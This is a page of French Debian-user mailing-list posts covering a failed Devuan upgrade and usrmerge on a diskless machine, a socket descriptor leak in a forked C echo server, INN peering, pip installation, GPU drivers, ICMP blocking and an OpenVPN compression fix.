Michel Verdier a écrit : > Le 8 janvier 2024 BERTRAND Joël a écrit : > >> J'ai déjà trouvé par le passé mount.nfs qui n'est plus dans /sbin mais >> dans /usr/sbin (contrairement à ce qu'indique la page man). > [...] >> Que les devs de Debian forcent l'utilisation d'usrmerge sur Debian, >> pourquoi pas. Mais pourquoi vouloir tout faire pour forcer l'utilisation >> de cette horreur sur les distributions dérivées ? > > usrmerge fait un lien symbolique de /bin -> /usr/bin et /sbin -> > /usr/sbin. Le déplacement de mount.nfs est indépendant, mais doit passer > inaperçu si on a usrmerge. Si tu as déjà pris le déplacement en compte > avant l'upgrade il doit s'agir d'autre chose. J'ai un tas d'erreurs dans les scripts d'initialisation parce que le PATH par défaut est /sbin:/bin et non plus /sbin:/bin:/usr/sbin:/usr/bin (ça ne coûtait vraiment rien de le conserver). Là, je fais une archive du système côté serveur avant de passer un coup d'usrmerge. Si c'est bien le problème, je réinstalle un système qui sait faire la différence entre / et /usr. HS: Sur cette machine, usrmerge ou pas n'est pas critique, mais je ne veux pas multiplier les systèmes entre mes machines fixes et les embarquées qui sont souvent à l'autre bout de la France et physiquement difficilement accessibles. Il serait d'ailleurs intéressant que les gens qui poussent ces "nouveautés" aient conscience de ce qui se fait ailleurs que sur les machines de bureau ou les serveurs embarquant des To de disques et de Go de mémoire. Dans l'embarqué, on aime bien avoir un / en ro et par exemple un /usr en ubifs rw sur une émulation de memory device. C'est ce que je fais sur des rPI lorsque le client impose cette architecture. Ça permet d'éviter de cramer des sdcard tous les six mois. Avec un usrmerge, c'est quasiment impossible sauf à bricoler avec des ramdisks vraiment tordus à l'initialisation. Alors oui, ça se fait, mais beaucoup plus difficilement qu'avant. Autre problème, cette joyeuseté complique aussi les mises à jour des équipements. Lorsqu'on a un / et un /usr sur des partitions séparées, qu'on a fait entrer le tout aux forceps dans une eMMC, on ne peut pas forcément copier tout /bin et /sbin vers /usr/bin et /usr/sbin faute de place. Il n'est pas rare dans l'embarqué d'avoir des eMMC de 16 ou 32 Go. Et lorsqu'on doit avoir des données variables, on les colle dans un /var séparé. On est donc relativement à l'étroit. J'ai bien conscience que c'est un cas marginal, mais c'est un cas qui me pourrit l'existence depuis des mois, d'où mon petit coup de gueule parce que j'ai de plus en plus l'impression que les développements récents des distribution Linux laissent tomber tout ce qui n'a pas 1 To de disque et au moins 4 Go de mémoire. Les gueux de l'embarqué, démerdez-vous. signature.asc Description: OpenPGP digital signature
Re: Plus de framebuffer/X
Bon. J'ai un début de piste et ça commence à être gavant. J'ai déjà trouvé par le passé mount.nfs qui n'est plus dans /sbin mais dans /usr/sbin (contrairement à ce qu'indique la page man). Là, on se retrouve avec des PATH dans des scripts de démarrage qui ne contiennent plus que /sbin:/bin. J'ai un tas d'erreurs au démarrage (erreurs naturellement non logguées et qui n'apparaissent que sur la console, même pas dans le dmesg). Je suppose que la génération de l'initramfs est foireuse même si elle ne retourne aucune erreur. Il y a des distributions basées sur debian qui n'utilisent ni systemd ni (encore et heureusement) l'horreur usrmerge. Qu'est-ce qui empêche les développeurs de Debian de coller mount.nfs dans /sbin et de conserver les paths classiques (sauf à vouloir imposer à toutes les distributions dérivées l'utilisation d'usrmerge) ? Il y a des tas de raisons pour ne pas en vouloir, à commencer par la gestion des partitions en ro de systèmes embarqués. Tout le monde ne veut pas un gros /usr en rw, surtout sur des machines sans console et inaccessibles physiquement ! Que les devs de Debian forcent l'utilisation d'usrmerge sur Debian, pourquoi pas. Mais pourquoi vouloir tout faire pour forcer l'utilisation de cette horreur sur les distributions dérivées ? Merci de ne pas répondre en essayant de me convaincre de l'intérêt de cette "chose". J'ai bien réfléchi, je la trouve merdique au possible pour mes applications, je n'en veux pas. Si elle se trouve imposée, je changerai plutôt d'OS. JB signature.asc Description: OpenPGP digital signature
Re: Plus de framebuffer/X
ajh-valmer a écrit : > On Sunday 07 January 2024 19:47:19 BERTRAND Joël wrote: >> ... apt dist-upgrade (qui s'est achevé sans erreur). >> Aujourd'hui, je rallume la machine en question et je n'ai plus de >> session graphique ... : > > Sans doute, suite à l'upgrade, le nouveau noyau de Devuan > ne reconnaît plus le module de la carte graphique. > Il faut essayer de booter avec un ancien noyau, > sinon de trouver un pilote vidéo adaptable. J'ai l'impression que dans l'upgrade, l'ancien noyau a été retiré. J'ai essayé avec un vmlinuz-6.5.0-5-amd64 et un vmlinuz-6.5.0-3-amd64. Même motif, même résultat. Ce qui me fait tiquer est que je n'ai pas autre chose que la console 80x25 (même en mode texte). Bien cordialement, JB signature.asc Description: OpenPGP digital signature
Re: Plus de framebuffer/X
Michel Verdier a écrit : > Le 7 janvier 2024 BERTRAND Joël a écrit : > >> Hier, j'ai du configurer ce qu'il fallait pour pouvoir accéder à des >> bluerays. Très bien, ça fonctionnait. Mais pour cela, j'ai du passer un >> apt dist-upgrade (qui s'est achevé sans erreur). > > As-tu fais update et upgrade --without-new-pkgs comme préconisé ici : > https://www.debian.org/releases/stable/i386/release-notes/ch-upgrading.fr.html#upgradingpackages > >> 2024-01-07T19:27:37.012530+01:00 heisenberg kernel: Kernel command line: >> BOOT_IMAGE=pxelinux.cfg/vmlinuz-heisenberg root=/dev/nfs >> initrd=pxelinux.cfg/initrd.img-heisenberg >> nfsroot=192.168.10.128:/srv/heisenberg ip=dhcp rw splash >> intel_iommu=on,igfx_off >> >> 2024-01-07T19:27:37.012533+01:00 heisenberg kernel: Unknown kernel >> command line parameters "splash >> BOOT_IMAGE=pxelinux.cfg/vmlinuz-heisenberg >> nfsroot=192.168.10.128:/srv/heisenberg ip=dhcp", will be passed to user >> space. > > C'est juste un warning qui indique que les paramètres sont passés à la > suite. As-tu refais le kernel et le initrd qui sont utiisés ? Oui. J'ai vérifié par deux fois. > Quelle est ta version de kernel ? Quelle est ta carte graphique ? root@heisenberg:/var/log# uname -a Linux heisenberg 6.5.0-3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.5.8-1 (2023-10-22) x86_64 GNU/Linux La carte graphique est une intel intégrée au CPU : Intel(R) Core(TM) i5-4570S CPU @ 2.90GHz JB signature.asc Description: OpenPGP digital signature
Plus de framebuffer/X
Bonjour à tous et bonne année. Il m'arrive un truc étonnant sur une machine qui me sert de serveur multimedia. Cette machine est diskless et fonctionnait parfaitement jusqu'à hier (pas noté la version du noyau). Ce n'est pas une Debian, c'est une Devuan, mais les paquets et la configuration sont identique en dehors du système d'initialisation. Hier, j'ai du configurer ce qu'il fallait pour pouvoir accéder à des bluerays. Très bien, ça fonctionnait. Mais pour cela, j'ai du passer un apt dist-upgrade (qui s'est achevé sans erreur). Aujourd'hui, je rallume la machine en question et je n'ai plus de session graphique. De la même manière, la console reste en 80x25 (avant, j'avais une console graphique avec des tous petits caractères, l'écran est un truc en 2560x1440. Si je lance sddm à la main, il ne se passe rien (le processus tourne, aucune erreur dans les logs de sddm). kern.log indique plusieurs choses étranges (je ne sais pas si le noyau indiquait la même chose dans la configuration fonctionnelle) : 2024-01-07T19:27:37.012530+01:00 heisenberg kernel: Kernel command line: BOOT_IMAGE=pxelinux.cfg/vmlinuz-heisenberg root=/dev/nfs initrd=pxelinux.cfg/initrd.img-heisenberg nfsroot=192.168.10.128:/srv/heisenberg ip=dhcp rw splash intel_iommu=on,igfx_off 2024-01-07T19:27:37.012533+01:00 heisenberg kernel: Unknown kernel command line parameters "splash BOOT_IMAGE=pxelinux.cfg/vmlinuz-heisenberg nfsroot=192.168.10.128:/srv/heisenberg ip=dhcp", will be passed to user space. Effectivement, splash ne fonctionne plus non plus. Mais j'ai aussi ceci : root@heisenberg:/var/log# grep conflict kern.log 2024-01-07T18:05:19.599573+01:00 heisenberg kernel: ACPI Warning: SystemIO range 0x1828-0x182F conflicts with OpRegion 0x1800-0x187F (\PMIO) (20230331/utaddress-204) 2024-01-07T18:05:19.599573+01:00 heisenberg kernel: ACPI: OSL: Resource conflict; ACPI support missing from driver? 2024-01-07T18:05:19.599577+01:00 heisenberg kernel: ACPI Warning: SystemIO range 0x1C40-0x1C4F conflicts with OpRegion 0x1C00-0x1FFF (\GPR) (20230331/utaddress-204) 2024-01-07T18:05:19.599578+01:00 heisenberg kernel: ACPI: OSL: Resource conflict; ACPI support missing from driver? 2024-01-07T18:05:19.599578+01:00 heisenberg kernel: ACPI Warning: SystemIO range 0x1C30-0x1C3F conflicts with OpRegion 0x1C00-0x1C3F (\GPRL) (20230331/utaddress-204) 2024-01-07T18:05:19.599579+01:00 heisenberg kernel: ACPI Warning: SystemIO range 0x1C30-0x1C3F conflicts with OpRegion 0x1C00-0x1FFF (\GPR) (20230331/utaddress-204) 2024-01-07T18:05:19.599579+01:00 heisenberg kernel: ACPI: OSL: Resource conflict; ACPI support missing from driver? 2024-01-07T18:05:19.599579+01:00 heisenberg kernel: ACPI Warning: SystemIO range 0x1C00-0x1C2F conflicts with OpRegion 0x1C00-0x1C3F (\GPRL) (20230331/utaddress-204) 2024-01-07T18:05:19.599582+01:00 heisenberg kernel: ACPI Warning: SystemIO range 0x1C00-0x1C2F conflicts with OpRegion 0x1C00-0x1FFF (\GPR) (20230331/utaddress-204) 2024-01-07T18:05:19.599583+01:00 heisenberg kernel: ACPI: OSL: Resource conflict; ACPI support missing from driver? 2024-01-07T18:05:19.599583+01:00 heisenberg kernel: lpc_ich: Resource conflict(s) found affecting gpio_ich 2024-01-07T18:11:36.030703+01:00 heisenberg kernel: ACPI Warning: SystemIO range 0x1828-0x182F conflicts with OpRegion 0x1800-0x187F (\PMIO) (20230331/utaddress-204) 2024-01-07T18:11:36.030703+01:00 heisenberg kernel: ACPI: OSL: Resource conflict; ACPI support missing from driver? 2024-01-07T18:11:36.030708+01:00 heisenberg kernel: ACPI Warning: SystemIO range 0x1C40-0x1C4F conflicts with OpRegion 0x1C00-0x1FFF (\GPR) (20230331/utaddress-204) 2024-01-07T18:11:36.030708+01:00 heisenberg kernel: ACPI: OSL: Resource conflict; ACPI support missing from driver? 2024-01-07T18:11:36.030709+01:00 heisenberg kernel: ACPI Warning: SystemIO range 0x1C30-0x1C3F conflicts with OpRegion 0x1C00-0x1C3F (\GPRL) (20230331/utaddress-204) 2024-01-07T18:11:36.030709+01:00 heisenberg kernel: ACPI Warning: SystemIO range 0x1C30-0x1C3F conflicts with OpRegion 0x1C00-0x1FFF (\GPR) (20230331/utaddress-204) 2024-01-07T18:11:36.030710+01:00 heisenberg kernel: ACPI: OSL: Resource conflict; ACPI support missing from driver? 2024-01-07T18:11:36.030710+01:00 heisenberg kernel: ACPI Warning: SystemIO range 0x1C00-0x1C2F conflicts with OpRegion 0x1C00-0x1C3F (\GPRL) (20230331/utaddress-204) 2024-01-07T18:11:36.030713+01:00 heisenberg kernel: ACP
Re: [Un peu HS] Truc bizarre avec des sockets Linux
Bon, trouvé. Dans tcpServer.c, il faut remonter d'une ligne close(newSocket). Désolé pour le bruit. signature.asc Description: OpenPGP digital signature
Re: [Un peu HS] Truc bizarre avec des sockets Linux
Désolé, j'ai oublié le code serveur.
JB
#include
#include
#include
#include
#include
#include
#include
#include
#define PORT
int main(){
int sockfd, ret;
struct sockaddr_in serverAddr;
int newSocket;
struct sockaddr_in newAddr;
socklen_t addr_size;
char buffer[1024];
pid_t childpid;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if(sockfd < 0){
printf("[-]Error in connection.\n");
exit(1);
}
printf("[+]Server Socket is created.\n");
memset(&serverAddr, '\0', sizeof(serverAddr));
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(PORT);
serverAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ret = bind(sockfd, (struct sockaddr*)&serverAddr, sizeof(serverAddr));
if(ret < 0){
printf("[-]Error in binding.\n");
exit(1);
}
printf("[+]Bind to port %d\n", );
if(listen(sockfd, 10) == 0){
printf("[+]Listening\n");
}else{
printf("[-]Error in binding.\n");
}
while(1){
newSocket = accept(sockfd, (struct sockaddr*)&newAddr, &addr_size);
if(newSocket < 0){
exit(1);
}
printf("accept(%d, %d)\n", sockfd, newSocket);
printf("Connection accepted from %s:%d\n", inet_ntoa(newAddr.sin_addr), ntohs(newAddr.sin_port));
if((childpid = fork()) == 0){
close(sockfd);
while(1){
recv(newSocket, buffer, 1024, 0);
if(strcmp(buffer, ":exit") == 0){
printf("Disconnected from %s:%d\n", inet_ntoa(newAddr.sin_addr), ntohs(newAddr.sin_port));
printf("shutdown: %d\n", shutdown(newSocket, SHUT_RDWR));
printf("close: %d\n", close(newSocket));
break;
}else{
printf("Client: %s\n", buffer);
send(newSocket, buffer, strlen(buffer), 0);
bzero(buffer, sizeof(buffer));
}
}
}
}
close(newSocket);
return 0;
}
signature.asc
Description: OpenPGP digital signature
Re: [Un peu HS] Truc bizarre avec des sockets Linux
Je viens de reproduire la chose avec deux bouts de programmes écrits en
C (voir les deux pièces jointes).
hilbert:[~/rpl-test] > ./server
[+]Server Socket is created.
[+]Bind to port
[+]Listening
accept(3, 4)
Connection accepted from 127.0.0.1:43388
Client: aze
Disconnected from 127.0.0.1:43388
shutdown: 0
close: 0
accept(3, 6)
Connection accepted from 127.0.0.1:49504
Client: aze
Disconnected from 127.0.0.1:49504
shutdown: 0
close: 0
hilbert:[~/rpl-test] > ./client
[+]Client Socket is created.
[+]Connected to Server.
Client: aze
Server: aze
Client: :exit
[-]Disconnected from server.
hilbert:[~/rpl-test] > ./client
[+]Client Socket is created.
[+]Connected to Server.
Client: aze
Server: aze
Client: :exit
[-]Disconnected from server.
Un coup de valgrind montre exactement la même chose lorsque le
processus serveur racine est tué par un SIGINT :
==10415== Process terminating with default action of signal 2 (SIGINT)
==10415==at 0x49A04D0: accept (accept.c:26)
==10415==by 0x109233: main (tcpServer.c:52)
==10415==
==10415== FILE DESCRIPTORS: 7 open (3 std) at exit.
==10415== Open AF_INET socket 6: 127.0.0.1: <-> 127.0.0.1:57256
==10415==at 0x49A04D0: accept (accept.c:26)
==10415==by 0x109233: main (tcpServer.c:52)
==10415==
==10415== Open AF_INET socket 4: 127.0.0.1: <-> 127.0.0.1:46402
==10415==at 0x49A04D0: accept (accept.c:26)
==10415==by 0x109233: main (tcpServer.c:52)
==10415==
==10415== Open AF_INET socket 3: 127.0.0.1: <-> unbound
==10415==at 0x49A0BA7: socket (syscall-template.S:120)
==10415==by 0x109141: main (tcpServer.c:25)
==10415==
==10415== Open file descriptor 5:
==10415==
Les sockets créées par accept() [ici fd=4 et fd=6] restent ouvertes dans
le processus racine du serveur et au bout d'un certain nombre de
connexions (dépendant de la valeur max open files), accept() retourne
une erreur.
À noter : la socket est bien fermée dans le processus créé par fork()
[shutdown + close] et est fermée dans le client.
Merci de vos lumières,
JB
#include
#include
#include
#include
#include
#include
#include
#include
#define PORT
int main(){
int clientSocket, ret;
struct sockaddr_in serverAddr;
char buffer[1024];
clientSocket = socket(AF_INET, SOCK_STREAM, 0);
if(clientSocket < 0){
printf("[-]Error in connection.\n");
exit(1);
}
printf("[+]Client Socket is created.\n");
memset(&serverAddr, '\0', sizeof(serverAddr));
serverAddr.sin_family = AF_INET;
serverAddr.sin_port = htons(PORT);
serverAddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ret = connect(clientSocket, (struct sockaddr*)&serverAddr, sizeof(serverAddr));
if(ret < 0){
printf("[-]Error in connection.\n");
exit(1);
}
printf("[+]Connected to Server.\n");
while(1){
printf("Client: \t");
scanf("%s", &buffer[0]);
send(clientSocket, buffer, strlen(buffer), 0);
if(strcmp(buffer, ":exit") == 0){
printf("shutdown: %d\n", shutdown(clientSocket, SHUT_RDWR));
printf("close: %d\n", close(clientSocket));
printf("[-]Disconnected from server.\n");
exit(1);
}
if(recv(clientSocket, buffer, 1024, 0) < 0){
printf("[-]Error in receiving data.\n");
}else{
printf("Server: \t%s\n", buffer);
}
}
return 0;
}
signature.asc
Description: OpenPGP digital signature
[Un peu HS] Truc bizarre avec des sockets Linux
Bonjour à tous,
Je développe le logiciel suivant http://www.rpl2.fr et un utilisateur
du bout du monde vient de me remonter un bug bizarre sur la gestion des
sockets réseau TCP. Je viens de passer la journée dessus et je ne
comprends pas.
Je précise que la fonction a été méchamment testée et qu'il me semble
qu'elle fonctionnait parfaitement lorsqu'elle a été publiée il y a de
cela plusieurs années.
La séquence de commandes C effectuée est la suivante :
- création d'une socket avec socket() et bind() ;
- attente d'une connexion entrante avec accept() ;
- fork() et traitement du client dans le processus fils (y compris la
libération de la socket créée par accept()).
C'est ni plus ni moins que ceci (fonction serve_forever()):
https://gist.github.com/laobubu/d6d0e9beb934b60b2e552c2d03e1409e#file-httpd-c
Dans le langage en question, ça se traduit comme ceci :
SERVEUR
<<
// Création d'une socket TCP écoutant
// sur le port 87 avec un maximum de 16
// sockets clientes.
{
"local" "stream" "flow"
{ "protocol" "ipv4" }
{ "listen" 16 }
{ "port" 87 }
{ "option" "reuse address" }
} open
// Format binaire
{ "length*(*)" } swap format
-> SOCKET
<<
do
// On attend une connexion
SOCKET wfsock
// Si connexion, on lance un
// traitement dans un processus
// fils.
'CIRCUIT_CONNECTE' detach
// On efface le PID de la pile
drop
// On efface les deux sockets de la pile
drop2
until
false
end
>>
>>
CIRCUIT_CONNECTE
<<
"Socket connectée" disp
'SOCKET' sto
'FERMETURE_SOCKET' atexit
do
SOCKET "POLLIN" 2 ->list 1 ->list TIMEOUT_CONNEXION poll
...
until
...
end
>>
FERMETURE_SOCKET
<<
SOCKET close
>>
Si je remplace 'detach' (fork()) par 'spawn' (thread_create()), ça
fonctionne parfaitement bien. Ça peut tourner des heures (j'ai laissé le
processus fonctionner durant plusieurs heures, ce qui correspond à
plusieurs centaines de milliers de connexion sur la socket). Avec
'detach', le programme finit par planter faute de descripteur de socket
disponible (trop de fichiers ouverts).
Je viens de passer le code dans valgrind et je ne comprends pas bien :
Root rayleigh:[~/exemple] > valgrind --track-fds=yes ./connecteur.rpl
+++RPL/2 (R) version 4.1.35 (Jeudi 23/11/2023, 16:42:36 CET)
+++Copyright (C) 1989 à 2022, 2023 BERTRAND Joël
...
socket: 7 <- renvoyée par accept() dans WFSOCK (la socket créée par
socket est la 6)
Socket connectée
close 7 <- fermeture de la socket 7 (par un shutdown() puis close())
close 7 OK
...
socket: 9
Socket connectée
close 9
close 9 OK
==20196== FILE DESCRIPTORS: 7 open (3 std) at exit.
==20196== Open AF_INET socket 7: 127.0.0.1:87 <-> unbound
==20196==at 0x546950F: accept (accept.c:26)
==20196==by 0x5C0661: librpl_instruction_wfsock
(instructions_w1-conv.c:3410)
==20196==by 0x4CC36D: librpl_analyse (analyse-conv.c:1076)
==20196==by 0x4D9C58: librpl_evaluation (evaluation-conv.c:764)
==20196==by 0x5CF16D: librpl_sequenceur_optimise
(optimisation-conv.c:399)
==20196==by 0x5D5A46: librpl_rplinit (rpl-conv.c:5198)
==20196==by 0x466F9D: main (init-conv.c:29)
...
Comment se fait-il que la socket soit toujours ouverte dans le père
(elle a été explicitement fermée dans le processus fils) ? Les
ressources système ne sont pas libérées. Pire, chaque socket cliente
reste ouverte pour le système et le processus parent.
Je résous une partie du problème en rajoutant un close de la socket
cliente après un timeout dans le processus serveur (mais ce n'est pas
satisfaisant).
Je constate aussi que si je ferme dans le processus fils la socket
initiale (celle créée par socket()), accept() râle. Le processus fils
peut donc fermer la socket en attente sur accept() mais s'il ferme la
socket() renvoyée par accept(), il ne la ferme que pour lui-même (et pas
pour le processus père).
La question est donc : suis-je passé à côté de quelque chose ?
J'en reviens donc à ce bout de code :
https://gist.github.com/laobubu/d6d0e9beb934b60b2e552c2d03e1409e#file-httpd-c
Sauf erreur de ma part, dans la fonction serve_forever(), je trouve
bien un accept(), mais jamais de close() sur la socket créée par
accept() (plus exactement, je trouve le close dans le processus détaché
par fork()). Comment ce bout de code peut-il fonctionner sans qu'il ne
finisse par planter par un dépassement du nombre de fichiers ouverts ?
Merci de
Re: Configuration inn
yamo' a écrit : > BERTRAND Joël a tapoté le 17/10/2023 17:10: >> Bonjour à tous, > > Bonjour, > >> >> Je tente la configuration d'inn (parce que depuis que le service chez >> Nerim a été laissé en déshérence, je fais avec celui de free.fr qui est >> à peine mieux...) et il y a un point que je ne comprends pas bien. > > Les serveurs de free ne fonctionnent plus très bien, le système de feed > a l'air tout cassé depuis un an mais il y en a d'autres! C'est bien pour cela que je commence à me renseigner sur la chose. >> >> inn est censé se connecter à d'autres serveurs usenet mais comment les >> trouve-t-il ? Je n'ai rien vu dans la configuration du serveur à ce >> sujet (ou ça m'a échappé, ce qui est possible). De la même manière, >> comment les autres serveurs usenet vont savoir qu'il y a un serveur inn >> sur mon infrastructure ? Un genre de p2p ? > > Il faut l'annoncer sur fr.usenet.distribution et news.admin.peering. > > C'est quoi l'adresse de ton serveur et quels groupes veux tu? Je peut > t'offrir un feed sans binaires. Je n'ai pas besoin de binaires, j'ai actuellement dans mon slrn quelques groupes fr.* et quelques anglophones. S'il y en a une vingtaine, c'est le bout du monde. > Au fait, la doc française d'INN2 : > <https://web.archive.org/web/20230901182332/https://git.alphanet.ch/gitweb/?p=inn-install;a=blob_plain;f=README.html;hb=HEAD#particularit%C3%A9s-debian> Pour l'instant, la configuration d'inn est un projet que je regarde parce que je vais devoir me passer du fournisseur actuel qui est un peu aux fraises. Il n'y a pas d'urgence réelle. Bien cordialement, JKB signature.asc Description: OpenPGP digital signature
Re: Configuration inn
Erwan David a écrit : > Le 17/10/2023 à 17:05, BERTRAND Joël a écrit : >> Bonjour à tous, >> >> Je tente la configuration d'inn (parce que depuis que le service chez >> Nerim a été laissé en déshérence, je fais avec celui de free.fr qui est >> à peine mieux...) et il y a un point que je ne comprends pas bien. >> >> inn est censé se connecter à d'autres serveurs usenet mais comment >> les >> trouve-t-il ? Je n'ai rien vu dans la configuration du serveur à ce >> sujet (ou ça m'a échappé, ce qui est possible). De la même manière, >> comment les autres serveurs usenet vont savoir qu'il y a un serveur inn >> sur mon infrastructure ? Un genre de p2p ? >> >> Bien cordialement, >> >> JKB >> > Il faut que tu trouves des "peers" avec qui tu vas échanger des > messages, que tu te mettes d'accord avec leurs administrateurs pour ces > échanges. De mémoire dans inn ça se configure dans le fichier > innfeed.conf (mais ça fait TRÈS longtemps que je n'ai pas regardé INN) Je comprends mieux ainsi, c'est ce qui m'avait échappé. Merci, JKB signature.asc Description: OpenPGP digital signature
Configuration inn
Bonjour à tous, Je tente la configuration d'inn (parce que depuis que le service chez Nerim a été laissé en déshérence, je fais avec celui de free.fr qui est à peine mieux...) et il y a un point que je ne comprends pas bien. inn est censé se connecter à d'autres serveurs usenet mais comment les trouve-t-il ? Je n'ai rien vu dans la configuration du serveur à ce sujet (ou ça m'a échappé, ce qui est possible). De la même manière, comment les autres serveurs usenet vont savoir qu'il y a un serveur inn sur mon infrastructure ? Un genre de p2p ? Bien cordialement, JKB signature.asc Description: OpenPGP digital signature
Installation de bibliothèques python
Bonjour à tous, J'essaye d'installer une bibliothèque python (et je me souviens pourquoi je hais ce truc, mais c'est une autre histoire). La bibliothèque en question est pcbnewTransition qui a un makefile. Parfait, je sais créer le paquet : [~] > make package Je me retrouve dans ./dist avec ce qu'il faut, à savoir un fichier whl et un tar.gz. Et c'est là que ça coince. pip3 install dist/*.whl m'insulte et me demande d'utiliser pipx install. Très bien, je suis joueur : hilbert:[~/git/pcbnewTransition] > pipx install dist/*.whl No apps associated with package pcbnewTransition or its dependencies. If you are attempting to install a library, pipx should not be used. Consider using pip or a similar tool instead. C'est moi ou ça se mord la queue ? Je veux juste installer (juste pour un utilisateur, même pas pour l'ensemble du système, ça me suffirait) une bibliothèque que j'ai compilée pour pouvoir installer KiKit par la suite. Comment faire simplement puisque pip3 me dit que je n'ai pas le droit de procéder et que pipx me renvoit à pip3 ? Bien cordialement, JB
Re: [testing] passage du pilote proprio à nouveau
Gaëtan Perrier a écrit : > Par exemple le raytracing ne semble pas supporté sur les cartes AMD > alors qu'il fonctionne sur Nvidia (ainsi que le DLSS) ? Chez AMD, on trouve le FSR qui semble aussi efficace. Quant au raytracing, la carte que j'utilise ne doit pas savoir qu'il n'est pas supporté. JKB
Re: [testing] passage du pilote nouveau à proprio
ajh-valmer a écrit : > Les cartes Nvidia ont une très bonne qualité de rendu à l'écran. > avec leur pilote, il y a une configuration sophistiquée de la carte, > permettant d'améliorer le rendu (nvidia-settings). > Les pilotes libres n'ont pas cet outil de config. > Seulement, leurs pilotes ne suivent pas toujours les distributions > et les versions. Je leur reproche surtout le fait qu'après quelques années de ne plus être supportées. J'ai des lots de telles cartes et ça m'a toujours dérangé. Il n'y a aucune raison /valable/ à cela.
Re: [testing] passage du pilote proprio à nouveau
Gaëtan Perrier a écrit : > Je suis d'accord sur le fond mais le problème c'est que les cartes > NVIDIA, d'après tout ce je lis, semblent être les plus performantes. > Là j'envisage de changer de PC car il commence à atteindre ses limites, > et en cherchant un peu je vois que le support des nouvelles cartes Intel > ARC semble être foireux, que le support des AMD semble bon et libre mais > que côté perf ce n'est pas encore ça et au final NVIDIA et devant tout > le monde mais avec des pilotes proprio. :( Franchement, j'aimerais bien savoir ce qu'on reproche aux cartes AMD. J'ai un truc comme ça pour faire de la CAO (bi écran) sur un i9, ça tient vraiment bien la route, même pour des jeux en 3D : 01:00.0 VGA compatible controller: Advanced Micro Devices, Inc. [AMD/ATI] Ellesmere [Radeon RX 470/480/570/570X/580/580X/590] (rev ef) (prog-if 00 [VGA controller]) Subsystem: ASUSTeK Computer Inc. Ellesmere [Radeon RX 470/480/570/570X/580/580X/590] Flags: bus master, fast devsel, latency 0, IRQ 132 Memory at 42 (64-bit, prefetchable) [size=8G] Memory at 41 (64-bit, prefetchable) [size=2M] I/O ports at 4000 [size=256] Memory at a020 (32-bit, non-prefetchable) [size=256K] Expansion ROM at 000c [disabled] [size=128K] Capabilities: [48] Vendor Specific Information: Len=08 Capabilities: [50] Power Management version 3 Capabilities: [58] Express Legacy Endpoint, MSI 00 Capabilities: [a0] MSI: Enable+ Count=1/1 Maskable- 64bit+ Capabilities: [100] Vendor Specific Information: ID=0001 Rev=1 Len=010 Capabilities: [150] Advanced Error Reporting Capabilities: [200] Physical Resizable BAR Capabilities: [270] Secondary PCI Express Capabilities: [2b0] Address Translation Service (ATS) Capabilities: [2c0] Page Request Interface (PRI) Capabilities: [2d0] Process Address Space ID (PASID) Capabilities: [320] Latency Tolerance Reporting Capabilities: [328] Alternative Routing-ID Interpretation (ARI) Capabilities: [370] L1 PM Substates Kernel driver in use: amdgpu Kernel modules: amdgpu
Re: [testing] passage du pilote proprio à nouveau
ajh-valmer a écrit : > On Tuesday 12 September 2023 23:24:24 Gaëtan Perrier wrote: >> Les pilotes nvidia legacy 390 de sid étant maintenant compatibles avec les >> kernel jusqu'à 6.5 je suis repassé sur le pilote proprio. >> Avec nouveau c'était invivable. > > Je n'ai jamais réussi à faire fonctionner correctement un pilote "nouveau". > Ce sont les pilotes proprio qui fonctionnent vraiment. > > Ce sont les "terroristes libristes" qui imposent d'utiliser que du Libre à > 100% mais parfois ce n'est pas possible. Sans être terroriste libriste, nvidia est un machin qui pose problème parce qu'au bout d'un certain temps, on se retrouve à devoir utiliser le pilote libre faute de support. Je boycotte scrupuleusement toutes les cartes nvidia pour cette raison. Je changerai d'avis sur nvidia le jour où nvidia daignera fournir les specs de ses cartes. JKB
Re: Monitorer la connectivité WAN en vue du re-routage
Michel Verdier a écrit : > Le 25 août 2023 Olivier a écrit : > >> 1. Connaissez-vous un document qui justifie techniquement ces >> "questions de sécurité" ? > > La sécurité en vivant caché :) A l'inverse beaucoup de routeurs répondent > au ping. Si tu fais un traceroute tu le vois bien. Surtout que bloquer le ping est une très mauvaise idée (problème de fragmentation, de session...). Personnellement, lorsqu'un fournisseur m'impose de bloquer le ping ou renâcle, je change de crèmerie. Le ping, ce n'est pas simplement un protocole permettant de savoir s'il y a un machine qui répond (d'autant qu'un nmap -P0 fait ça tout aussi bien). C'est un protocole important. Bien cordialement, JB
Re: Serveur OpenVPN
Trouvé. C'est l'option comp-lzo qui met le bazar. Je l'avais sur les deux machines clientes (l'une est sur un accès Wanadoo-Santé de 512 kbps, si, si, ça existe /encore/), l'autre sur un accès GPRS. Je n'avais pas cette option côté serveur. Visiblement, jusqu'à la dernière version d'OpenVPN, le chiffrement asymétrique était autorisé. Là, même en l'autorisant explicitement, ça ne fonctionnait pas. Donc suppression des deux comp-lzo sur les clients et ça fonctionne à nouveau. JKB
Serveur OpenVPN
Bonjour à tous, J'ai un petit souci avec un serveur OpenVPN (qui fonctionnait parfaitement jusqu'ici). Les clients se connectent bien sur le serveur mais rien ne passe sur l'interface tap0. Je n'ai rien de particulier dans les sorties d'OpenVPN (même avec verb=10). Le serveur est sur une machine régulièrement mise à jour. Les clients vivent leur vie et sont mis à jour nettement moins souvent (ça ne dépend pas de moi). Lorsque je lance le serveur, je trouve ceci : 2023-08-25 16:58:39 86.212.205.101:58146 TLS: Initial packet from [AF_INET]86.212.205.101:58146, sid=b28dac4a 65656374 2023-08-25 16:58:40 86.212.205.101:58146 VERIFY OK: depth=1, C=FR, ST=FR, L=Paris, O=Systella, CN=Systella CA, emailAddress=joel.bertr...@systella.fr 2023-08-25 16:58:40 86.212.205.101:58146 VERIFY OK: depth=0, C=FR, ST=FR, L=Paris, O=Systella, CN=cervantes, emailAddress=joel.bertr...@systella.fr 2023-08-25 16:58:40 86.212.205.101:58146 peer info: IV_VER=2.4.6 2023-08-25 16:58:40 86.212.205.101:58146 peer info: IV_PLAT=linux 2023-08-25 16:58:40 86.212.205.101:58146 peer info: IV_PROTO=2 2023-08-25 16:58:40 86.212.205.101:58146 peer info: IV_NCP=2 2023-08-25 16:58:40 86.212.205.101:58146 peer info: IV_LZ4=1 2023-08-25 16:58:40 86.212.205.101:58146 peer info: IV_LZ4v2=1 2023-08-25 16:58:40 